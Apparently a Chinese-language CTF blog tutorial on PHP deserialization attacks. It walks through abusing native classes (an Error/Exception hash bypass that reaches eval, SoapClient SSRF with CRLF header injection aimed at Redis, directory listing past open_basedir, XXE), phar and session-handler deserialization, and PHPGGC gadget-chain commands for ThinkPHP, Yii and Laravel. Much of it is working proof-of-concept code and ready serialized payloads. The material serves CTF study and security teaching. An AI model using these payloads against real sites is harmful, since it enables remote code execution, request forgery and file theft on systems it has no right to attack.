//输出: O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D
2、绕过哈希比较
Error和Exception还可以通过巧妙的构造绕过md5()函数和sha1()函数的比较。这里进行详细的介绍这个两个错误类
Error类:Error 是所有PHP内部错误类的基类,该类是在PHP 7.0.0 中开始引入的。

类摘要
Error implements Throwable {
    /* 属性 */
    protected string $message ;
    protected int $code ;
    protected string $file ;
    protected int $line ;
    /* 方法 */
    public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
    final public getMessage ( ) : string
    final public getPrevious ( ) : Throwable
    final public getCode ( ) : mixed
    final public getFile ( ) : string
    final public getLine ( ) : int
    final public getTrace ( ) : array
    final public getTraceAsString ( ) : string
    public __toString ( ) : string
    final private __clone ( ) : void
}

类方法:
Error::__construct — 初始化 error 对象
Error::getMessage — 获取错误信息
Error::getPrevious — 返回先前的 Throwable
Error::getCode — 获取错误代码
Error::getFile — 获取错误发生时的文件
Error::getLine — 获取错误发生时的行号
Error::getTrace — 获取调用栈(stack trace)
Error::getTraceAsString — 获取字符串形式的调用栈(stack trace)
Error::__toString — error 的字符串表达
Error::__clone — 克隆 error

Exception 类
Exception 是所有异常的基类,该类是在PHP 5.0.0 中开始引入的。
类摘要:
Exception {
    /* 属性 */
    protected string $message ;
    protected int $code ;
    protected string $file ;
    protected int $line ;
    /* 方法 */
    public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
    final public getMessage ( ) : string
    final public getPrevious ( ) : Throwable
    final public getCode ( ) : mixed
    final public getFile ( ) : string
    final public getLine ( ) : int
    final public getTrace ( ) : array
    final public getTraceAsString ( ) : string
    public __toString ( ) : string
    final private __clone ( ) : void
}

类方法:
Exception::__construct — 异常构造函数
Exception::getMessage — 获取异常消息内容
Exception::getPrevious — 返回异常链中的前一个异常
Exception::getCode — 获取异常代码
Exception::getFile — 创建异常时的程序文件名称
Exception::getLine — 获取创建的异常所在文件中的行号
Exception::getTrace — 获取异常追踪信息
Exception::getTraceAsString — 获取字符串类型的异常追踪信息
Exception::__toString — 将异常对象转换为字符串
Exception::__clone — 异常克隆


我们可以看到,在Error和Exception这两个PHP原生类中内只有 __toString 方法,这个方法用于将异常或错误对象转换为字符串。
我们以Error为例,我们看看当触发他的 __toString 方法时会发生什么:
<?php
$a = new Error("payload",1);
echo $a;
输出如下:
Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}
发现这将会以字符串的形式输出当前报错,包含当前的错误信息("payload")以及当前报错的行号("2"),而传入 Error("payload",1) 中的错误代码“1”则没有输出出来。

又比如:
<?php
$a = new Error("payload",1);$b = new Error("payload",2);
echo $a;
echo "\r\n\r\n";
echo $b;
输出如下:
Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}

Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}
可见,$a 和 $b 这两个错误对象本身是不同的,但是 __toString 方法返回的结果是相同的。注意,这里之所以需要在同一行是因为 __toString 返回的数据包含当前行号。
Exception 类与 Error 的使用和结果完全一样,只不过 Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7。

Exception 类与 Error 绕过hash示例:

源码:
<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;
    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
        }
    }
}
if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}
?>
可见,需要进入eval()执行代码需要先通过上面的if语句:
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) )

一般情况下只需要使用数组即可绕过。但是这里是在类里面,我们当然不能这么做。这里是是md5()和sha1()可以对一个类进行hash,并且会触发这个类的 __toString 方法;且当eval()函数传入一个类对象时,也会触发这个类里的 __toString 方法。

所以我们可以使用含有 __toString 方法的PHP内置类来绕过,用的两个比较多的内置类就是  Exception  和 Error ,他们之中有一个 __toString 方法,当类被当做字符串处理时,就会调用这个函数。
根据刚才讲的Error类和Exception类中 __toString 方法的特性,我们可以用这两个内置类进行绕过。

由于题目用preg_match过滤了小括号无法调用函数,所以我们尝试直接 include "/flag" 将flag包含进来即可。由于过滤了引号,我们直接用url取反绕过即可。POC如下:

<?php

class SYCLOVER {
    public $syc;
    public $lover;
    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }

        }
    }
}

$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
/* 
或使用[~(取反)][!%FF]的形式,
即: $str = "?><?=include[~".urldecode("%D0%99%93%9E%98")."][!.urldecode("%FF")."]?>";    

$str = "?><?=include $_GET[_]?>"; 
*/
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));
?>

这里 $str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>"; 中为什么要在前面加上一个 ?> 呢?因为 Exception 类与 Error 的 __toString 方法在eval()函数中输出的结果是不可能控的,即输出的报错信息中,payload前面还有一段杂乱信息“Error: ”:

Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}

进入eval()函数会类似于:eval("...Error: <?php payload ?>")。所以我们要用 ?> 来闭合一下,即 eval("...Error: ?><?php payload ?>"),这样我们的payload便能顺利执行了。生成的payload如下:

O%3A8%3A%22SYCLOVER%22%3A2%3A%7Bs%3A3%3A%22syc%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A19%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A5%3A%22lover%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A19%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D

执行便可得到flag:

2、SoapClient 类

SoapClient是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端,可以创建soap数据报文,与wsdl接口进行交互,soap扩展模块默认关闭,使用时需手动开启

类摘要:
SoapClient {
    /* 方法 */
    public __construct ( string|null $wsdl , array $options = [] )
    public __call ( string $name , array $args ) : mixed
    public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null
    public __getCookies ( ) : array
    public __getFunctions ( ) : array|null
    public __getLastRequest ( ) : string|null
    public __getLastRequestHeaders ( ) : string|null
    public __getLastResponse ( ) : string|null
    public __getLastResponseHeaders ( ) : string|null
    public __getTypes ( ) : array|null
    public __setCookie ( string $name , string|null $value = null ) : void
    public __setLocation ( string $location = "" ) : string|null
    public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool
    public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array &$outputHeaders = null ) : mixed
}

可以看到,该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类。

该类的构造函数如下:

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

SOAP:

SOAP 是基于 XML 的简易协议,是用在分散或分布的环境中交换信息的简单的协议,可使应用程序在 HTTP 之上进行信息交换
SOAP是webService三要素(SOAP、WSDL、UDDI)之一:WSDL 用来描述如何访问具体的接口, UDDI用来管理,分发,查询webService ,SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。其采用HTTP作为底层通讯协议,XML作为数据传送的格式。

利用: SSRF

了解了该类的构造函数熟作用后就可以构造payload:我们可以设置第一个参数为null,然后第二个参数的location选项设置为target_url。也可以将第二个设置为VPS地址

<?php
$a = new SoapClient(null,array('location'=>'http://47.xxx.xxx.72:2333/aaa', 'uri'=>'http://47.xxx.xxx.72:2333'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
或者
<?php
$a = new SoapClient(null, array(
'location' => 'http://47.102.146.95:2333', 
'uri' =>'uri',
'user_agent'=>'111111'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();

首先在47.xxx.xxx.72上面起个监听:

然后执行上述代码,如下图所示成功触发SSRF,47.xxx.xxx.72上面收到了请求信息:

当使用此内置类(即soap协议)请求存在服务的端口时,会立即报错,而去访问不存在服务(未占用)的端口时,会等待一段时间报错,可以以此进行内网资产的探测。但是,由于它仅限于HTTP/HTTPS协议,所以用处不是很大。而如果这里HTTP头部还存在CRLF漏洞的话,但我们则可以通过SSRF+CRLF,插入任意的HTTP头,控制其他参数或者post发送数据。

参考:利用SSRF漏洞内网探测来攻击Redis(请求头CRLF方式) – AmosAlbert – 博客园

CRLF知识扩展
HTTP报文的结构:状态行和首部中的每行以CRLF结束,首部与主体之间由一空行分隔。
CRLF注入漏洞,是因为Web应用没有对用户输入做严格验证,导致攻击者可以输入一些恶意字符。攻击者一旦向请求行或首部中的字段注入恶意的CRLF(\r\n),就能注入一些首部字段或报文主体,并在响应中输出。

如下测试代码,我们在HTTP头中插入一个自定义cookie:

<?php
$a = new SoapClient(null, array(
    'location' => 'http://47.102.146.95:2333',
    'uri' =>'uri',
    'user_agent'=>"111111\r\nCookie: PHPSESSION=dasdasd564d6as4d6a"));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();
或者
<?php
$target = 'http://47.xxx.xxx.72:2333/';
$a = new SoapClient(null,array('location' => $target, 'user_agent' => "WHOAMI\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4", 'uri' => 'test'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

执行代码后,如下图所示,成功在HTTP头中插入了一个我们自定义的cookie:

可以再去drops回顾一下如何通过HTTP协议去攻击Redis的,如下测试代码:

<?php
$target = 'http://47.xxx.xxx.72:6379/';
$poc = "CONFIG SET dir /var/www/html";
$a = new SoapClient(null,array('location' => $target, 'uri' => 'hello^^'.$poc.'^^hello'));
$b = serialize($a);
$b = str_replace('^^',"\n\r",$b); 
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

执行代码后,如下图所示,成功插入了Redis命令:这样我们就可以利用HTTP协议去攻击Redis了。

对于如何发送POST的数据包,这里面还有一个坑,就是 Content-Type 的设置,因为我们要提交的是POST数据 Content-Type 的值我们要设置为 application/x-www-form-urlencoded,这里如何修改 Content-Type 的值呢?由于 Content-Type 在 User-Agent 的下面,所以我们可以通过 SoapClient 来设置 User-Agent ,将原来的 Content-Type 挤下去,从而再插入一个新的 Content-Type 。也可以通过添加两个\r\n来将原来的Content-Type挤下去,自定义一个新的Content-Type

测试代码如下:

法一:
<?php
$target = 'http://47.xxx.xxx.72:2333/';
$post_data = 'data=whoami';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));
$b = serialize($a);
$b = str_replace('^^',"\n\r",$b);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

法二:
<?php
$a = new SoapClient(null, array(
    'location' => 'http://47.102.146.95:2333',
    'uri' =>'uri',
    'user_agent'=>"111111\r\nContent-Type: application/x-www-form-urlencoded\r\nX-Forwarded-For: 127.0.0.1\r\nCookie: PHPSESSID=3stu05dr969ogmprk28drnju93\r\nContent-Length: 10\r\n\r\npostdata"));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();

执行代码后,如下图所示,成功发送POST数据:

示例:[LCTF 2018]bestphp‘s revenge_[lctf 2018]bestphp’s revenge-CSDN博客

3、DirectoryIterator/FilesystemIterator

DirectoryIterator 类提供了一个用于查看文件系统目录内容的简单接口,该类是在 PHP 5 中增加的。
DirectoryIterator::__toString 获取字符串形式的文件名 (PHP 5,7,8)

利用:

使用此内置类的__toString方法结合glob或file协议,将无视open_basedir对目录的限制,可以用来列举出指定目录下的文件。即可实现目录遍历,测试代码如下:

<?php
$dir = $_GET['whoami'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
    echo($f->__toString().'<br>');
}
?>
# 或者payload一句话的形式:
$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}

我们输入 /?whoami=glob:///* 即可列出根目录下的文件:

但是会发现只能列根目录和open_basedir指定的目录的文件,不能列出除前面的目录以外的目录中的文件,且不能读取文件内容。

FilesystemIterator继承于DirectoryIterator,两者作用和用法基本相同,区别为FilesystemIterator会显示文件的完整路径,而DirectoryIterator只显示文件名

因为可以配合使用glob伪协议(查找匹配的文件路径模式),所以可以绕过open_basedir的限制
在php4.3以后使用了zend_class_unserialize_deny来禁止一些类的反序列化,很不幸的是这两个原生类都在禁止名单当中

4、SplFileObject 类

SplFileObject 类为单个文件的信息提供了一个面向对象的高级接口(PHP 5 >= 5.1.2, PHP 7, PHP 8)

利用:文件读取

SplFileObject::__toString — 以字符串形式返回文件的路径

<?php
highlight_file(__file__);
$a = new SplFileObject("./flag.txt");
echo $a;
/*foreach($context as $f){
    echo($a);
}*/

如果没有遍历的话只能读取第一行,且受到open_basedir影响

5、SimpleXMLElement 类

SimpleXMLElement 这个内置类用于解析 XML 文档中的元素。
官方文档中对于SimpleXMLElement 类的构造方法 SimpleXMLElement::__construct 的定义如下:

可以看到通过设置第三个参数 data_is_url 为 true,我们可以实现远程xml文件的载入。第二个参数的常量值我们设置为2即可。第一个参数 data 就是我们自己设置的payload的url地址,即用于引入的外部实体的url。这样的话,当我们可以控制目标调用的类的时候,便可以通过 SimpleXMLElement 这个内置类来构造 XXE。参考赛题:[SUCTF 2018]Homework

6、ReflectionMethod 类

获取注释内容(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getDocComment — 获取注释内容
由该原生类中的getDocComment方法可以访问到注释的内容

同时可利用的原生类还有ZipArchive– 删除文件等等,不在叙述。

phar反序列化

phar 文件包在 生成时会以序列化的形式存储用户自定义的 meta-data ,配合 phar:// 我们就能在文件系统函数 file_exists() is_dir() 等参数可控的情况下实现自动的反序列化操作,于是我们就能通过构造精心设计的 phar 包在没有 unserailize() 的情况下实现反序列化攻击,从而将 PHP 反序列化漏洞的触发条件大大拓宽了,降低了我们 PHP 反序列化的攻击起点。

phar文件结构

a stub是一个文件标志,格式为 :xxx<?php xxx;__HALT_COMPILER();?>。
manifest是被压缩的文件的属性等放在这里,这部分是以序列化存储的,是主要的攻击点。
contents是被压缩的内容。
signature签名,放在文件末尾。

生成phar文件:前提:生成phar文件需要修改php.ini中的配置,将phar.readonly设置为Off

<?php 
class test{
	public $name='phpinfo();';
}
$phar=new phar('test.phar');//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
$obj=new test();
$phar->setMetadata($obj);//自定义的meta-data存入manifest
$phar->addFromString("flag.txt","flag");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

生成的phar文件,打开该文件可以看到文件头是<?php __halt_compiler(); ?>以及中间的部分内容是序列化的形式存在于这个文件中。

该方法在文件系统函数(file_exists()is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。
https://paper.seebug.org/680/得知:有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:(仿照大佬的图)

这里使用file_get_contents()函数来进行实验。

<?php
class test{
    public $name='';
    public function __destruct()
    {
        eval($this->name);
    }
}
echo file_get_contents('phar://test.phar/flag.txt');
?>

__HALT_COMPILER();必须大写,小写不会被识别出来。导致无法进行反序列化操作。
因为考虑到在上传的时候,可能只会允许上传图片(jpg/png/gif),上传时将test.phar修改文件扩展名为jpg也可以进行反序列化,不会影响解析。
如果对文件头有识别的,也可以使用GIF文件头GIF89a来绕过检测,具体操作与文件上传部分细节类似,不再赘述。

phar://被过滤的解决方法

compress.bzip2://phar://
compress.zlib://phar:///
php://filter/resource=phar://
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';

除此之外,我们还可以将phar伪造成其他格式的文件。
php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

生成payload:

<?php
class User {
    public $db;
    public function __construct(){
        $this->db=new FileList();
    }
}
class FileList {
    private $files;
    private $results;
    private $funcs;
    public function __construct(){
        $this->files=array(new File());
        $this->results=array();
        $this->funcs=array();
    }
}
class File {
    public $filename="/flag.txt";
}
$user = new User();
$phar = new Phar("shell.phar"); //生成一个phar文件,文件名为shell.phar
$phar-> startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER();?>"); //设置stub
$phar->setMetadata($user); //将对象user写入到metadata中
$phar->addFromString("shell.txt","haha"); //添加压缩文件,文件名字为shell.txt,内容为haha
$phar->stopBuffering();

最后把文件上传后在删除文件处抓包,?filename=phar://shell.jpg即可,这里文件上传还要改改文件类型和文件名绕过

session反序列化

前置知识

Session:
在计算机中,尤其是在网络应用中,称为“会话控制”。Session对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的Web页之间跳转时,存储在Session对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web页时,如果该用户还没有会话,则Web服务器将自动创建一个 Session对象。当会话过期或被放弃后,服务器将终止该会话。Session 对象最常见的一个用法就是存储用户的首选项。例如,如果用户指明不喜欢查看图形,就可以将该信息存储在Session对象中。不过不同语言的会话机制可能有所不同。

PHP session:
可以看做是一个特殊的变量,且该变量是用于存储关于用户会话的信息,或者更改用户会话的设置,需要注意的是,PHP Session 变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的,且其对应的具体 session 值会存储于服务器端,这也是与 cookie的主要区别,所以seesion 的安全性相对较高。

session的工作流程:
当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。

seesion_start()的作用:
当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。

php.ini中一些Session配置:
1、session.save_path="" --设置session的存储路径
2、session.save_handler=""--设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
3、session.auto_start boolen--指定会话模块是否在请求开始时启动一个会话默认为0不启动
4、session.serialize_handler string--定义用来序列化/反序列化的处理器名字。默认使用php

常见的php-session存放位置有:
1、/var/lib/php5/sess_PHPSESSID
2、/var/lib/php7/sess_PHPSESSID
3、/var/lib/php/sess_PHPSESSID
4、/tmp/sess_PHPSESSID 5 /tmp/sessions/sess_PHPSESSED
5、phpstudy集成环境下在php.ini里查找session.save_path,也可以在这里更改路径

session.serialize_handler定义的引擎有三种,如下表所示:

处理器名称存储格式
php键名 + 竖线 + 经过serialize()函数序列化处理的值
php_binary键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
php_serialize经过serialize()函数序列化处理的数组

注:自 PHP 5.5.4 起可以使用 _phpserialize
上述三种处理器中,php_serialize在内部简单地直接使用 serialize/unserialize函数,并且不会有php和 php_binary所具有的限制。 使用较旧的序列化处理器导致$_SESSION 的索引既不能是数字也不能包含特殊字符(| 和 !) 。
注:查看版本,注意:在php 5.5.4以前默认选择的是php,5.5.4之后就是php_serialize,这里面是php_serialize,同时意识到 在index界面的时候,设置选择的是php,因此可能会造成漏洞
下面我们实例来看看三种不同处理器序列化后的结果。

<?php
ini_set('session.serialize_handler', 'php');
//ini_set("session.serialize_handler", "php_serialize");
//ini_set("session.serialize_handler", "php_binary");
session_start();
$_SESSION['lemon'] = $_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";

比如这里我get进去一个值为abc,查看一下各个存储格式:

  • php : lemon|s:3:”abc”;
  • php_serialize : a:1:{s:5:”lemon”;s:3:”abc”;}
  • php_binary : lemons:3:”abc”;

这有什么问题,其实PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。如:使用不同引擎来处理session文件。

漏洞造成原理:

漏洞如何造成的,这里涉及的其实是这两个处理器
//ini_set(‘session.serialize_handler’, ‘php’);
//ini_set(“session.serialize_handler”, “php_serialize”);
当php_serialize处理器处理接收session,php处理器处理session时便会造成反序列化的可利用,因为php处理器是有一个|间隔符,当php_serialize处理器传入时在序列化字符串前加上|,|O:7:”xiaoxin”:1:{s:4:”name”;s:7:”xiaoxin”;}”
此时session值为a:1:{s:7:”session”;s:44:”|O:7:”xiaoxin:1:{s:4:”name”;s:7:”xiaoxin”;}”;}当php处理器处理时,会把|当作间隔符,取出后面的值去反序列化,即是我们构造的payload:|O:7:”xiaoxin:1:{s:4:”name”;s:7:”xiaoxin”;}”

框架类PHP反向序列化漏洞

TINKINPHP居多

反序列化链项目,利用场景:当知道目标使用了某个框架及对应版本并且这个框架版本曝过反序列漏洞,那么就可以尝试利用该项目去生成反序列链。

PHPGGC

项目地址:https://github.com/ambionics/phpggc

PHPGGC是一个包含unserialize()有效载荷的库以及一个从命令行或以编程方式生成它们的工具。当在您没有代码的网站上遇到反序列化时,或者只是在尝试构建漏洞时,此工具允许您生成有效负载,而无需执行查找小工具并将它们组合的繁琐步骤。 它可以看作是frohoff的ysoserial的等价物,但是对于PHP。目前该工具支持的小工具链包括:CodeIgniter4、Doctrine、Drupal7、Guzzle、Laravel、Magento、Monolog、Phalcon、Podio、ThinkPHP、Slim、SwiftMailer、Symfony、Wordpress、Yii和ZendFramework等。

反序列化框架利用-ThinkPHP&Yii&Laravel

这里以例题为例

1、[安洵杯 2019]iamthinking Thinkphp V6.0.X 反序列化

扫出源码

这里使用phpggc帮助我们生成一个thinkphp反序列化利用链

./phpggc ThinkPHP/RCE4 system 'cat /flag' --url

2、CTFSHOW 反序列化 267 Yii2反序列化

首先弱口令登录,登录后,源码提示泄漏 GET:index.php?r=site%2Fabout&view-source

./phpggc Yii2/RCE1 exec 'cp /fla* tt.txt' --base64  

3、CTFSHOW 反序列化 271 Laravel反序列化

但是代码中并没有发现Laravel具体版本,没办法就只能一个一个试呗。

./phpggc Laravel/RCE2 system "whoami" --url

完整的thinkphp框架漏洞理解:hughink/Thinkphp-All-vuln

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇